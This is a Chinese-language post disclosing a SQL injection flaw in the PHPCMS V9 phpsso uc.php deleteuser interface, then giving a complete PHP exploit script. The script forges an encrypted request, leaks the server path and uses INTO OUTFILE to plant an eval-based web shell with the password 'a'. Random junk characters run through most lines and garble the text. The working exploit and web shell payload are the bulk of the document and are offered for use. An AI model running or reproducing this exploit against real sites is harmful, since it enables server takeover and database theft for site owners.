PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
4 O- \( i1 v h& _: x3 L5 Q) z2 {& H/ S& V' U5 P& p
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
9 r/ l0 W4 I! z: Z0 K
; a% V1 y% `* R/ S. ~漏洞分析:& t* y: @3 w/ ~ T5 E7 D3 Y- A
1.未启用ucenter服务的情况下uc_key为空
: O; `8 W( `: z7 N8 `/ D vdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
( D" p1 x8 f' a4 }2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
) y9 o7 n7 @' r; T/ y# y, ^ public function deleteuser($get,$post) {/ A0 O8 G$ p5 D p% S% v1 q- g
pc_base::load_app_func('global', 'admin');
6 g; F/ X2 X, D# i pc_base::load_app_class('messagequeue', 'admin' , 0);" m |/ A& X! M2 n0 |0 Y
$ids = new_stripslashes($get['ids']);# M9 g' t6 W5 ~* w z0 {3 z8 A
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
! H& A/ ^9 T& P+ N* y9 }SQL语句为! G) n0 W3 J! k* P. p
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
/ n |' \/ c/ o1 O# S3 }. {
3 r' z2 s, ]" J' z# W利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
2 `' {& E/ K, \: G1 a2 F& p<?php
" H A7 p8 P4 m, P4 [1 M& }print_r('
x4 B) m1 Z$ i j---------------------------------------------------------------------------
: v- v' p, l$ [1 tPHPcms (v9 or Old Version) uc api sql injection 0day+ E1 t. S: u4 I2 Y3 M, H
by rayh4c#80sec.com- T! D% @, u6 i, G n8 O6 M
---------------------------------------------------------------------------0 c6 W6 I- s! D2 V4 i* J
');
, }% b# e2 V/ o- B1 B) x4 ?6 J* Q; h9 I
if ($argc<3) {4 f, D" }9 i; [% `8 J
print_r('. y6 A$ e, k; g
---------------------------------------------------------------------------
6 B) @6 W @6 MUsage: php '.$argv[0].' host path OPTIONS9 s: X2 Y# f6 K- r- t$ O3 ~: y
host: target server (ip/hostname)
* x( K, h7 n5 t; v( i* I/ H; Ppath: path to phpcms
& p' W+ v( g0 U dOptions:. i; _4 c7 R) e& v, ]
-p[port]: specify a port other than 803 S6 }) H g. K' A( u( O8 o
-P[ip:port]: specify a proxy& q5 S6 o. V$ ]) a
Example:& `* J9 ?+ ?+ a* C& b$ a' g
php '.$argv[0].' localhost /
: T- O0 W u- n" e/ m; Aphp '.$argv[0].' localhost /phpcms/ -p81" Z& V+ B. L4 O# E$ s& z* [$ R
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:808 J( ]9 q4 h7 |. G' H6 g
---------------------------------------------------------------------------
2 [. y' `/ s$ P5 q9 a0 M');
: r1 M( {# v1 N2 W/ N" x X& \ die;
& }2 ]8 w5 K3 \0 n* B3 z X, {}5 t8 q6 m9 `* e
' e# W2 ?1 C/ h; r: M# V( N/ H
error_reporting(7);
( E0 [3 Y5 [3 h7 E/ F t$ O7 Iini_set("max_execution_time",0);1 a, M& m8 f0 J$ J# @
ini_set("default_socket_timeout",5);5 V8 _& E6 O/ I# C% k z
4 S3 @: O( Z9 A& u
function quick_dump($string)
3 }: {7 l+ f$ r8 k{ g2 {. L8 e8 e$ |4 @* w2 S3 ?* n
$result='';$exa='';$cont=0;
W& d3 f3 l5 G- } for ($i=0; $i<=strlen($string)-1; $i++)
/ b" p2 n0 |) N3 k7 d {
/ r7 Z* ~: H' D. h, h0 m if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
. i2 r W. Z+ X) q5 b& a {$result.=" .";}
6 V. G4 S* S3 e& q5 f% v else7 `# g7 e' D$ \ L. p
{$result.=" ".$string[$i];}
! c w: v# A% v/ f% p5 ?* c4 ~ if (strlen(dechex(ord($string[$i])))==2)
, Z* I i/ l% k; W, E' N# R# f. b# d {$exa.=" ".dechex(ord($string[$i]));}
' }, g6 ^+ D9 a$ b1 Q else
5 X5 ~8 s+ u: [& ]7 v, H6 j( r {$exa.=" 0".dechex(ord($string[$i]));}
7 F" N6 d& d6 f $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
! c! e# a8 i! H" E& a- a }* C: f: F4 o# U, M+ ], ]9 r
return $exa."\r\n".$result;, d# _1 J2 a }. q$ v& R: n! \
}
; v& _& `% w& y+ W, f$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';9 @( K* q, ?- B, |
% O% s7 w; a4 Q$ H, P P% M- J9 [8 lfunction send($packet)
( [9 v! W3 p- o6 L: Y{
) y1 J9 B' G% I3 I0 n' [+ H2 h global $proxy, $host, $port, $html, $proxy_regex;
% F# i+ t) [7 A" i: r) V if ($proxy=='') {
6 I. u q5 i1 E6 X5 {' I H $ock=fsockopen(gethostbyname($host),$port);
3 _- x5 y4 D% T1 h! M if (!$ock) {
3 v% Q8 y) \1 u, Z4 ?6 X echo 'No response from '.$host.':'.$port; die;
, ] T& q2 w7 R6 C }
" L0 R; @8 f- I+ N& R }6 g% k8 q' m6 |$ T
else {
, e, K7 h# D; ~ $c = preg_match($proxy_regex,$proxy);
+ o- Q; Q/ {* a/ Y/ t: S2 i if (!$c) {7 Z# V: B% R$ }, [! [
echo 'Not a valid proxy...';die;, S! v& h3 D# b8 |3 X2 P1 R
}
9 \: l5 e( Y4 L! U" h: |) _% a $parts=explode(':',$proxy);! I, @' N' t* O; Y- }4 D( j
$parts[1]=(int)$parts[1]; t7 X! _8 h8 p. b0 X3 M2 E6 b; k
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
6 q. o2 v4 Z* g- ~ $ock=fsockopen($parts[0],$parts[1]);
) Z* \$ m; l0 c# ]) S0 |0 ^ if (!$ock) {
" b9 ~$ G! `% T# H. |" U echo 'No response from proxy...';die;
( U6 f( `+ y$ ?" ?5 A( I, j }
: b) j6 @9 {1 P" L' | }
2 H8 a: _ D4 p& i* k+ H fputs($ock,$packet);
7 j5 O; t9 F. G7 E: B" W; [" \" m$ y if ($proxy=='') {
; s, T8 K3 Y' Z4 n+ a$ `2 ~0 {% w: D $html='';9 I' ^2 A) c7 l7 u4 l# Y3 F+ Z
while (!feof($ock)) {" Q) l: b2 L$ t! N# U
$html.=fgets($ock);
6 J/ R% B) p7 Z/ k$ [ }
; k. a) v6 R- s1 ?. M; V+ I9 Y }9 V4 s' U6 ?0 {8 W2 P. h3 ]
else {" C( V2 M3 b' C F: X$ ]# J; A
$html='';- T( I- g/ R1 n( N r
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {- x, T) ?9 P; V% e
$html.=fread($ock,1);, k; Q2 |$ W1 F4 V7 x& ~$ O
}. G5 o/ _6 T( U* t% W
}! x0 t- l3 j' @ @
fclose($ock);
& d+ B4 j6 @5 E& X+ m}
0 E- S6 G9 h0 Q- [9 W- K9 v0 R0 n% x& I" e
$host=$argv[1];9 A h$ `: {5 D" s. d% w
$path=$argv[2];
) _ u7 y- e9 L# q: D( ~9 A$port=80;7 @8 [, j, f& v5 k' R. h
$proxy="";7 W2 m- F) @$ u; D, |, R( j
for ($i=3; $i<$argc; $i++){
% ?7 N# A. N) `7 F$temp=$argv[$i][0].$argv[$i][1];
f" K7 W0 Y% c/ S: p4 }+ f- yif ($temp=="-p")
$ G) q2 k0 `" ]8 V{$ G, U e/ m' j- P# [
$port=(int)str_replace("-p","",$argv[$i]);9 w4 C* ]) n; L. n
}
. O7 o2 ?9 D% x7 P7 rif ($temp=="-P")
: o: v( g( H3 }$ E# A W{
" l& A& n7 D# L) j5 F0 e $proxy=str_replace("-P","",$argv[$i]);5 T+ j5 S2 s- L
}5 U1 g: W% B. p1 l
}
& Z1 s! k, S1 L& J3 v/ L. ^: }! I' r% J$ A: a% j8 m
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}& [. Q9 }6 _7 \3 N* z
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
[3 J( b0 G. y! k3 P6 [3 F7 s- Z! ?$ C7 p2 f
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {5 U- t! N; k+ ]' F% @' Y1 p
7 ]( L& c7 Y8 \4 C9 f+ t9 Q $ckey_length = 4;3 q6 w% e' s8 x6 q! z
8 ^& w4 b; y; U
$key = md5($key ? $key : '');
9 w8 X- z7 ^/ e! n. l! M/ L/ q $keya = md5(substr($key, 0, 16));5 O- o" J* \1 g( G
$keyb = md5(substr($key, 16, 16));
5 q# C1 ?9 g) a* h/ [6 Z $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';0 e2 j" r1 W+ h9 A2 U7 @% `
- Y# |7 y) u$ f$ K $cryptkey = $keya.md5($keya.$keyc);1 W# w8 T+ o- K& p! ]" P
$key_length = strlen($cryptkey);
! E: q- | h$ u( }/ | z, M3 `8 i8 ?* S2 J4 a: {
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
' b8 E4 H/ O* I9 _0 ]2 q6 H $string_length = strlen($string);
5 b4 H4 A' ^ K3 F) u" _5 G* p
! J0 K$ `7 ~: H $result = '';
% {2 M! E$ K* \' t1 ~8 g $box = range(0, 255);# |9 y: ~+ ^# u8 I. C
8 r/ d- B1 w( X! }0 J J, M $rndkey = array();
+ R8 c6 ?0 G- i5 f$ a for($i = 0; $i <= 255; $i++) {8 Q2 U; s5 K0 e( s
$rndkey[$i] = ord($cryptkey[$i % $key_length]);3 B2 L: q. @* z2 a8 ]9 r
}$ d1 l9 p7 L4 U
/ t" a7 q) d! ^
for($j = $i = 0; $i < 256; $i++) {
+ x! q4 r9 H8 }: u& N $j = ($j + $box[$i] + $rndkey[$i]) % 256;2 V2 }9 {% a2 B, e5 ]8 m# R
$tmp = $box[$i];
% f* e; p4 Q( K* X+ |3 ~ $box[$i] = $box[$j];/ Q0 l5 l! j- L& q$ h7 {
$box[$j] = $tmp;" u. W6 _7 p1 l2 }* z$ g2 G
}+ i$ f+ @& v6 P" O
$ d7 Q. t6 g/ D3 v
for($a = $j = $i = 0; $i < $string_length; $i++) {
( ]4 ?7 q: e' F! d6 S) _3 A $a = ($a + 1) % 256;1 x6 E; _4 o m8 j
$j = ($j + $box[$a]) % 256;! P; [2 ?' _! M
$tmp = $box[$a]; [1 V: X1 @2 g- L8 ~: E% y) s
$box[$a] = $box[$j];
; A" [9 K$ A6 E3 {9 t; E% x. ]; [8 |: B% \ $box[$j] = $tmp;) }2 ?5 i3 M4 d4 U* z, E* b
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));; n, r. M/ |8 g8 d& x& r: C
}
0 @ I8 m7 X0 g: _3 R/ z% l
6 o: E( _ x7 F4 K& p if($operation == 'DECODE') {
) X1 x: x$ ^( U! b if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
/ \1 x; a# l9 E) ?8 b return substr($result, 26);
P/ E# Z( X- h4 i* V } else {
' ^1 l: j; k. c8 L" r& X' c# K return '';- Z. L2 [6 @+ \/ l. H2 K
}
' G7 o$ [5 @& j } else {
% `/ b2 Q6 ~: u8 W! j5 b return $keyc.str_replace('=', '', base64_encode($result));
; p& ] g7 M1 Y" h2 m+ _ }
" {- [8 l1 ]' Y) W2 e$ G1 V; G3 G& j0 Q9 o: [
}) f8 J, [( X. o1 \. o7 Q
! j+ _0 k% |7 L$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
7 V* r; P% C6 H- s% u5 p) `$SQL = urlencode(authcode($SQL, "ENCODE", ""));( [) K/ e0 c$ \0 [) B( m$ E+ L
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";5 k; [6 P- `4 N
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
v. O6 }0 J* c+ b- V# H3 m6 `- S& \$packet.="User-Agent: Mozilla/5.0\r\n";- K8 ~0 O' X; B1 L- F, g
$packet.="Host: ".$host."\r\n";
6 F- V$ ~- l. n8 x* Z8 @$packet.="Connection: Close\r\n\r\n";! `, H& n3 g3 ~5 o/ U
send($packet);+ ^& h7 l2 F, ^7 o
if(strpos($html,"MySQL Errno") > 0){ r0 |" o; |' @. l
echo "[2] 发现存在SQL注入漏洞"."\n";
* e4 ?1 `, j# _echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";/ g( z. U# o4 O/ q2 b
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
& Q% ^" y. t; T8 e, o8 J1 \- r$packet.="User-Agent: Mozilla/5.0\r\n";% @1 @! f" G* ?: E) z
$packet.="Host: ".$host."\r\n";
; i% q+ n6 e& F* x0 f$packet.="Connection: Close\r\n\r\n";/ x1 N, p8 h6 Q8 g! U9 O+ M: A6 }* ^
send($packet);$ A3 Q- {/ e3 D' K' W
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
$ P6 a( T, W$ }2 i6 @' M+ a//print_r($matches);
* d. w% P" m& qif(!empty($matches)){$ h, W8 M, a* T* M1 ~/ i& {
echo "[4] 得到web路径 " . $matches[0]."\n";# h, {! a# d/ r2 a" {- t
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";; f0 C( {6 u# D0 L% I- a/ h
$SQL = "time=999999999999999999999999&ids=1)";' |* n5 r; T( o& o& U
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
2 B: K8 p6 s! f+ d$SQL.="&action=deleteuser";
$ d3 U+ n, m1 D7 d$SQL = urlencode(authcode($SQL, "ENCODE", ""));
3 n. |+ x, Q. X+ [2 W2 c8 ? E( @: Cecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";$ M) d$ k1 ~' E6 e! k
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% l( }, A" G) A* _9 U1 U& Q$packet.="User-Agent: Mozilla/5.0\r\n";
4 @4 g5 S% o, }6 \, ~5 t0 c$packet.="Host: ".$host."\r\n"; V" C- A E, j/ j- c7 [
$packet.="Connection: Close\r\n\r\n";8 o1 C! Z# R! n/ ]- g2 f G
send($packet);
) o/ w9 ~, r( G6 b4 jif(strpos($html,"Access denied") > 0){
( K: }: W }5 g/ u2 s- m/ k5 M6 necho "[-] MYSQL权限过低 禁止写入文件 ";
: h1 n. x$ R4 ^8 M$ L* tdie;6 { ?) O5 X4 {6 ?3 _0 G) i
}
, k& n5 ?, @* o3 J# I( eecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";2 a: Y1 ~% Y( l: P
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";8 c: k% ^, b3 K( o4 B+ N* c" B
$packet.="User-Agent: Mozilla/5.0\r\n";1 E7 K+ g2 c7 b. V, F
$packet.="Host: ".$host."\r\n"; k' ~4 M% |( h6 \" }& \* J% x
$packet.="Connection: Close\r\n\r\n";
6 w0 c2 z1 Z0 U6 n$ I, l8 Xsend($packet);- v% H k8 {8 j1 @8 c% u4 G: P
if(strpos($html,"<title>phpinfo()</title>") > 0){
0 `8 ~7 L3 v, p; y6 S$ D' Iecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";7 `( v7 T* ]7 x& \# k4 O
}. ~: A' V, N) I0 ]0 A
}else{
3 H0 ^' @4 ~9 Lecho "[-]未取到web路径 ";
+ W3 z8 g* h! B/ d$ @* l8 x}0 S- ^& }3 W' ~$ t
}else{8 z0 e4 g" x; g8 x8 D. D" D9 a( \% j
echo "[*]不存在SQL注入漏洞"."\n";
3 w2 i, t& T# Z}3 Q" ?6 [: }6 _. w6 a
4 f1 x4 e) t4 H7 R' ?% k?>
' S2 j; @( U2 @+ Y4 O |